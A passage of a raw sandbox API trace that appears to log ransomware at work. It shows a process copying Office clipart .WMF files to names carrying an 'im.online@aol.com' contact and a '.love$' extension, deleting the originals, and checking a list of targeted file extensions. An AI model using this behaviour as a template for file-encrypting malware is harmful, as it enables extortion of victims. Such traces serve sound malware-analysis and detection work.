CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0275.180] GetLastError () returned 0x0 [0275.180] ReadFile (in: hFile=0x560, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1210, lpOverlapped=0x0) returned 1 [0275.182] WriteFile (in: hFile=0x388, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1220, lpOverlapped=0x0) returned 1 [0275.183] ReadFile (in: hFile=0x560, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0275.183] WriteFile (in: hFile=0x388, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0275.183] SetEndOfFile (hFile=0x388) returned 1 [0275.184] CloseHandle (hObject=0x388) returned 1 [0275.184] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.184] SetEndOfFile (hFile=0x560) returned 1 [0275.188] CloseHandle (hObject=0x560) returned 1 [0275.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0275.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.190] lstrlenW (lpString=".doc") returned 4 [0275.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.190] lstrlenW (lpString=".docx") returned 5 [0275.190] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0275.190] lstrlenW (lpString=".pdf") returned 4 [0275.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.190] lstrlenW (lpString=".xls") returned 4 [0275.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.190] lstrlenW (lpString=".xlsx") returned 5 [0275.190] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0275.190] lstrlenW (lpString=".ppt") returned 4 [0275.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.190] lstrlenW (lpString=".zip") returned 4 [0275.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.190] lstrlenW (lpString=".rar") returned 4 [0275.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.191] lstrlenW (lpString=".bz2") returned 4 [0275.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.191] lstrlenW (lpString=".7z") returned 3 [0275.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.191] lstrlenW (lpString=".dbf") returned 4 [0275.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.191] lstrlenW (lpString=".1cd") returned 4 [0275.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.191] lstrlenW (lpString=".jpg") returned 4 [0275.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.191] lstrlenW (lpString=".doc") returned 4 [0275.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.191] lstrlenW (lpString=".docx") returned 5 [0275.191] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0275.191] lstrlenW (lpString=".pdf") returned 4 [0275.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.191] lstrlenW (lpString=".xls") returned 4 [0275.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.191] lstrlenW (lpString=".xlsx") returned 5 [0275.191] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0275.191] lstrlenW (lpString=".ppt") returned 4 [0275.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.191] lstrlenW (lpString=".zip") returned 4 [0275.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.191] lstrlenW (lpString=".rar") returned 4 [0275.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.191] lstrlenW (lpString=".bz2") returned 4 [0275.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.192] lstrlenW (lpString=".7z") returned 3 [0275.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.192] lstrlenW (lpString=".dbf") returned 4 [0275.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.192] lstrlenW (lpString=".1cd") returned 4 [0275.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0275.192] lstrlenW (lpString=".jpg") returned 4 [0275.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.192] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0275.192] lstrlenW (lpString="J0105384.WMF") returned 12 [0275.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0275.193] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5880) returned 1 [0275.193] CloseHandle (hObject=0x560) returned 1 [0275.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0275.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0275.194] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.194] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0275.566] GetLastError () returned 0x0 [0275.566] ReadFile (in: hFile=0x560, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x16f8, lpOverlapped=0x0) returned 1 [0275.569] WriteFile (in: hFile=0x388, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1700, lpOverlapped=0x0) returned 1 [0275.571] ReadFile (in: hFile=0x560, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0275.571] WriteFile (in: hFile=0x388, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0275.571] SetEndOfFile (hFile=0x388) returned 1 [0276.762] CloseHandle (hObject=0x388) returned 1 [0276.958] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.958] SetEndOfFile (hFile=0x560) returned 1 [0276.963] CloseHandle (hObject=0x560) returned 1 [0276.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0276.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.965] lstrlenW (lpString=".doc") returned 4 [0276.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.965] lstrlenW (lpString=".docx") returned 5 [0276.966] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0276.966] lstrlenW (lpString=".pdf") returned 4 [0276.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.966] lstrlenW (lpString=".xls") returned 4 [0276.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.966] lstrlenW (lpString=".xlsx") returned 5 [0276.966] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0276.966] lstrlenW (lpString=".ppt") returned 4 [0276.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.966] lstrlenW (lpString=".zip") returned 4 [0276.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.966] lstrlenW (lpString=".rar") returned 4 [0276.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.966] lstrlenW (lpString=".bz2") returned 4 [0276.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.966] lstrlenW (lpString=".7z") returned 3 [0276.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.966] lstrlenW (lpString=".dbf") returned 4 [0276.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.966] lstrlenW (lpString=".1cd") returned 4 [0276.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.966] lstrlenW (lpString=".jpg") returned 4 [0276.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.967] lstrlenW (lpString=".doc") returned 4 [0276.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.967] lstrlenW (lpString=".docx") returned 5 [0276.967] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0276.967] lstrlenW (lpString=".pdf") returned 4 [0276.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.967] lstrlenW (lpString=".xls") returned 4 [0276.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.967] lstrlenW (lpString=".xlsx") returned 5 [0276.967] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0276.967] lstrlenW (lpString=".ppt") returned 4 [0276.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.967] lstrlenW (lpString=".zip") returned 4 [0276.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.967] lstrlenW (lpString=".rar") returned 4 [0276.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.967] lstrlenW (lpString=".bz2") returned 4 [0276.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.967] lstrlenW (lpString=".7z") returned 3 [0276.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.967] lstrlenW (lpString=".dbf") returned 4 [0276.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.967] lstrlenW (lpString=".1cd") returned 4 [0276.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0276.968] lstrlenW (lpString=".jpg") returned 4 [0276.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.968] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0276.968] lstrlenW (lpString="J0105398.WMF") returned 12 [0276.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0276.970] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3328) returned 1 [0276.970] CloseHandle (hObject=0x560) returned 1 [0276.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220 [0276.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0276.970] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.971] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0276.972] GetLastError () returned 0x0 [0276.972] ReadFile (in: hFile=0x560, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xd00, lpOverlapped=0x0) returned 1 [0277.717] WriteFile (in: hFile=0x2fc, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xd10, lpOverlapped=0x0) returned 1 [0277.718] ReadFile (in: hFile=0x560, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0277.718] WriteFile (in: hFile=0x2fc, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0277.718] SetEndOfFile (hFile=0x2fc) returned 1 [0278.819] CloseHandle (hObject=0x2fc) returned 1 [0278.873] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.873] SetEndOfFile (hFile=0x560) returned 1 [0279.108] CloseHandle (hObject=0x560) returned 1 [0279.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0281.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.003] lstrlenW (lpString=".doc") returned 4 [0281.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.003] lstrlenW (lpString=".docx") returned 5 [0281.003] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0281.003] lstrlenW (lpString=".pdf") returned 4 [0281.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.003] lstrlenW (lpString=".xls") returned 4 [0281.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.003] lstrlenW (lpString=".xlsx") returned 5 [0281.003] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0281.003] lstrlenW (lpString=".ppt") returned 4 [0281.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.003] lstrlenW (lpString=".zip") returned 4 [0281.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.003] lstrlenW (lpString=".rar") returned 4 [0281.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.003] lstrlenW (lpString=".bz2") returned 4 [0281.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.003] lstrlenW (lpString=".7z") returned 3 [0281.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.003] lstrlenW (lpString=".dbf") returned 4 [0281.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.003] lstrlenW (lpString=".1cd") returned 4 [0281.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.003] lstrlenW (lpString=".jpg") returned 4 [0281.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.003] lstrlenW (lpString=".doc") returned 4 [0281.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.003] lstrlenW (lpString=".docx") returned 5 [0281.004] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0281.004] lstrlenW (lpString=".pdf") returned 4 [0281.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.004] lstrlenW (lpString=".xls") returned 4 [0281.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.004] lstrlenW (lpString=".xlsx") returned 5 [0281.004] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0281.004] lstrlenW (lpString=".ppt") returned 4 [0281.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.004] lstrlenW (lpString=".zip") returned 4 [0281.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.004] lstrlenW (lpString=".rar") returned 4 [0281.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.004] lstrlenW (lpString=".bz2") returned 4 [0281.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.004] lstrlenW (lpString=".7z") returned 3 [0281.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.004] lstrlenW (lpString=".dbf") returned 4 [0281.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.004] lstrlenW (lpString=".1cd") returned 4 [0281.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0281.004] lstrlenW (lpString=".jpg") returned 4 [0281.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.005] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.005] lstrlenW (lpString="J0105710.WMF") returned 12 [0281.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0281.006] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=13808) returned 1 [0281.006] CloseHandle (hObject=0x568) returned 1 [0281.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220 [0281.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0281.006] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.007] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0281.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0281.008] GetLastError () returned 0x0 [0281.008] ReadFile (in: hFile=0x568, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x35f0, lpOverlapped=0x0) returned 1 [0281.010] WriteFile 